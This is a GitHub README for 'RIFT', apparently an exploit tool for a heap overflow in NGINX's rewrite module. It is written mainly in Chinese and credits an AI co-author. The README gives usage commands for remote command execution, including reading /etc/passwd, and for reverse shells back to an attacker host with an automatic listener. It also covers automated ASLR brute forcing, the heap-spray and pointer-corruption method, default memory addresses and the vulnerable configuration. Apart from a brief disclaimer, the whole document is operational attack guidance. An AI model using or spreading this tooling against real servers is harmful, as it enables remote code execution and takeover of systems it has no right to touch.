aratane/CVE-2026-42945

GitHub: aratane/CVE-2026-42945

针对 NGINX rewrite 模块堆溢出漏洞 CVE-2026-42945 的自动化侦察与利用工具,支持反弹 Shell 与 ASLR 绕过。

Stars: 0 | Forks: 0

# RIFT — Remote Injection & Fault Trigger **作者:** Michael Sanji Winaya Prawiradibrata **AI 联合作者:** Varanus — sahabatku ## 仓库内容 | 文件 | 描述 | |---|---| | `rift.py` | **核心工具。** 将侦察与 exploit 整合在一个脚本中(1026 行)。 | | `README.md` | 本文档。 | ## 环境要求 - Python 3.6+(仅使用标准库 — **无需 pip,无需 venv,无其他依赖**) ## 快速开始 ``` # 1. 全面侦察 — deteksi versi、endpoint、celah、strategi python3 rift.py --target 10.10.10.10 --recon # 2. 侦察 + exploit 一步到位 python3 rift.py --target 10.10.10.10 --auto --cmd "id" # 3. 命令执行 python3 rift.py --target 10.10.10.10 --cmd "whoami" # 4. Reverse shell(自动开启 listener) python3 rift.py --target 10.10.10.10 --shell --lhost 10.10.14.5 --lport 4444 # 5. 使用 bash 实现 reverse shell(instead of python) python3 rift.py --target 10.10.10.10 --shell --shell-type bash --lhost 10.10.14.5 --lport 4444 # 6. 仅检查 vulnerable python3 rift.py --target 10.10.10.10 --check-only ``` ## 所有 Flags ### 使用模式 | Flag | 功能 | |---|---| | `--recon` | **全面侦察。** Fingerprint → 信息泄露 → endpoint 测试 → worker 数量探测 → 策略生成。 | | `--auto` | **侦察 + 自动 exploit。** 与执行 `--recon` 后继续进行 exploit 的效果相同。 | | `--check-only` | **快速检查。** 探测 NGINX、版本以及 `/api/` endpoint。 | | `--cmd "command"` | 通过 `system()` 执行单条 command。 | | `--shell` | **Reverse shell** — 自动开启 listener,发送 payload,接收连接。 | ### Exploit 选项 | Flag | 默认值 | 功能 | |---|---|---| | `--port` | 80 | 目标端口 | | `--lhost` | — | 用于 reverse shell 的本地 IP(使用 `--shell` 时必填) | | `--lport` | 4444 | 用于 listener 的本地端口 | | `--shell-type` | `python` | Reverse shell payload 类型:`python`、`bash`、`nc`、`php` | | `--heap-base` | `0x555555659000` | 堆(Heap)的 base address(用于覆盖以绕过 ASLR) | | `--libc-base` | `0x7ffff77ba000` | libc 的 base address | | `--tries` | 10 | 对每个候选地址的尝试次数 | | `--verbose` / `-v` | — | 输出每次尝试的详细信息 | ### 侦察选项 | Flag | 功能 | |---|---| | `--fingerprint` | 探测 NGINX 版本、endpoint 及 rewrite module | | `--leak` | 检查信息泄露(如错误页面中的 memory address、时序等) | | `--test-endpoint` | 使用多种 payload 测试 endpoint 的行为 | | `--endpoint` | 指定要测试的 endpoint 路径(默认:`/api/`) | | `--generate-exploit` | 生成带有目标 address 的专用 exploit 脚本 | | `--output json` | 在终端输出的同时输出 JSON 格式(便于机器读取) | ## 核心功能 ### ✅ 自动 Reverse Shell 当使用 `--shell` 时,脚本会自动执行以下操作: 1. 根据 `--shell-type` 生成相应的 reverse shell payload 2. 在 `--lport` 上开启 listener 3. 发送 exploit 4. 一旦 worker 崩溃 → shell 成功接入 5. **自动 Listener:** 优先使用 netcat(`nc -lvnp`),失败时回退至 Python listener ### ✅ 自动 ASLR 暴力破解 如果默认 address 失败,脚本会自动以 0x10000 为步长,向上下偏移 heap base 共 ±5 次,以寻找匹配的 address。无需进行手动设置。 ### ✅ 多 Payload Reverse Shell 支持 4 种 shell payload — `python`、`bash`、`nc`、`php`。可根据目标环境选择可用项。 ### ✅ 全面侦察 `--recon` 将执行 5 个阶段: 1. **Fingerprint** — 探测 NGINX 版本、15 个常见 endpoint、rewrite module 2. **信息泄露** — 错误页面中的 memory address、timing side channel 3. **Endpoint 测试** — 使用 6 种 payload 测试 endpoint 的行为 4. **Worker 数量** — 根据延迟模式估算 worker process 的数量 5. **策略** — 基于分析结果推荐后续操作 ### ✅ JSON 输出 使用 `--output json` 可与其他工具进行集成或实现自动化解析。 ## 漏洞配置 该 exploit 的目标为使用了 `rewrite` + `set` 配置的 NGINX,如下所示: ``` location ~ ^/api/(.*)$ { rewrite ^/api/(.*)$ /internal?migrated=true; # is_args = 1 set $original_endpoint $1; # length calc pake is_args = 0 } ``` 导致的后果:分配的缓冲区过小,URI 转义(3 倍扩展)引发溢出。 ### 受影响的版本 - **NGINX Open Source:** 0.6.27 – 1.30.0 - **NGINX Plus:** R32 – R36 - **已修复:** 1.31.0, 1.30.1, R36 P4+, R35 P2+, R32 P6+ ## Exploit 工作原理 ``` 1. HEAP SPRAY ─── POST /spray × 20 → tanam fake ngx_pool_cleanup_s di heap 2. TRIGGER ────── GET /api/AAAA...++++... → overflow via URI escaping 3. CORRUPT ────── Overflow tulis ulang cleanup pointer pool adjacent 4. EXEC ───────── Pool destroyed → panggil system("command") ``` ## 重要常量(可在 `rift.py` 中修改) | 常量 | 默认值 | 含义 | |---|---|---| | `BODY_LEN` | 4000 | Spray body 大小(字节) | | `N_SPRAY` | 20 | 每次尝试发送的 POST 请求数量 | | `LIBC_SYSTEM_OFFSETS` | 7 项 | 不同发行版下 `system()` 的 offset | | `PREREAD_HEAP_OFFSETS` | 19 项 | Heap offset 候选项 | | `DEFAULT_HEAP_BASE` | `0x555555659000` | Heap base(关闭 ASLR 时) | | `DEFAULT_LIBC_BASE` | `0x7ffff77ba000` | Libc base(关闭 ASLR 时) | ## 完整示例 ### 命令执行 + 详细输出 ``` python3 rift.py --target 10.10.10.10 --cmd "cat /etc/passwd" --verbose ``` ### 自定义 Address(绕过 ASLR) ``` python3 rift.py --target 10.10.10.10 \ --cmd "id" \ --heap-base 0x555555659000 \ --libc-base 0x7ffff77ba000 ``` ### 多次尝试 ``` python3 rift.py --target 10.10.10.10 --cmd "id" --tries 50 ``` ### 侦察 + JSON ``` python3 rift.py --target 10.10.10.10 --recon --output json ``` ### 生成 Exploit 脚本 ``` python3 rift.py --target 10.10.10.10 --generate-exploit # → exploit_10_10_10_10.py ``` ## 故障排除 ### “目标似乎未运行 NGINX” - 检查端口:`nc -zv 80` - 尝试其他端口:`--port 8080`、`--port 443` - 目标可能隐藏在 WAF/代理 之后 ### “所有 exploit 尝试均告失败” 1. 可能开启了 ASLR — 尝试使用 `--auto` 进行自动 ASLR 偏移 2. NGINX 版本可能已修复漏洞(> 1.30.1) 3. NGINX 配置可能不存在漏洞(未使用 rewrite+set) 4. 尝试添加 `--verbose` 查看每次尝试的详细信息 ### Shell 无法连接 - 检查本地防火墙:`sudo ufw allow 4444` - 检查 `--lhost` — 确保本地 IP 正确无误 - 尝试使用 `--shell-type bash` 或 `--shell-type nc` ## 免责声明 本工具仅供教育及授权的安全测试使用。 未经许可对系统进行测试属于非法行为。 © 2026 Michael Sanji Winaya Prawiradibrata AI 联合作者:Varanus
标签:CISA项目, Nginx, Python, Web报告查看器, 安全, 无后门, 超时处理, 逆向工具